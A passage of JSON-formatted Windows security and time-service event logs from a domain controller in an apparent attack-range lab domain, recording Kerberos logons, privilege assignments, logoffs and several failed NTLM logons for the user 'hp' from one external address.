11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221618,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42B38\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t2001:0:2851:782c:2051:1b95:f5ff:fef1\r\n\tSource Port:\t\t49715\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42b38","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"2001:0:2851:782c:2051:1b95:f5ff:fef1","IpPort":"49715","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221619,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tSupplied Realm Name:\tATTACKRANGE.LOCAL\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221620,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{8249441F-F628-2A2E-A4E8-A0680CC3C3BC}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{8249441F-F628-2A2E-A4E8-A0680CC3C3BC}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221621,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{8249441F-F628-2A2E-A4E8-A0680CC3C3BC}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\twin-dc-9849183$\r\n\tAdditional Information:\twin-dc-9849183$\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0xa14\r\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonGuid":"{8249441F-F628-2A2E-A4E8-A0680CC3C3BC}","TargetServerName":"win-dc-9849183$","TargetInfo":"win-dc-9849183$","ProcessName":"C:\\Windows\\System32\\taskhostw.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221622,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42B5A\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42b5a","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221623,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42B5A\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{AE34B366-82E9-B264-C9B6-51922913538E}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42b5a","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{AE34B366-82E9-B264-C9B6-51922913538E}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221624,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42B5A\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42b5a","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221625,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42B38\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42b38","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221626,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x41E05\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x41e05","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221627,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49923\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49923","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":12,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76824,"ProcessID":1220,"ThreadID":1476,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"Time Provider NtpClient: This machine is configured to use the domain hierarchy to determine its time source, but it is the AD PDC emulator for the domain at the root of the forest, so there is no machine above it in the domain hierarchy to use as a time source. It is recommended that you either configure a reliable time service in the root domain, or manually configure the AD PDC to synchronize with an external time source. Otherwise, this machine will function as the authoritative time source in the domain hierarchy. If an external time source is not configured or used for this computer, you may choose to disable the NtpClient.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":37,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76825,"ProcessID":1220,"ThreadID":1476,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time provider NtpClient is currently receiving valid time data from time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123).","Opcode":"Info","TimeSource":"time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123)","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221628,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50009\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50009","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221629,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50040\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50040","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 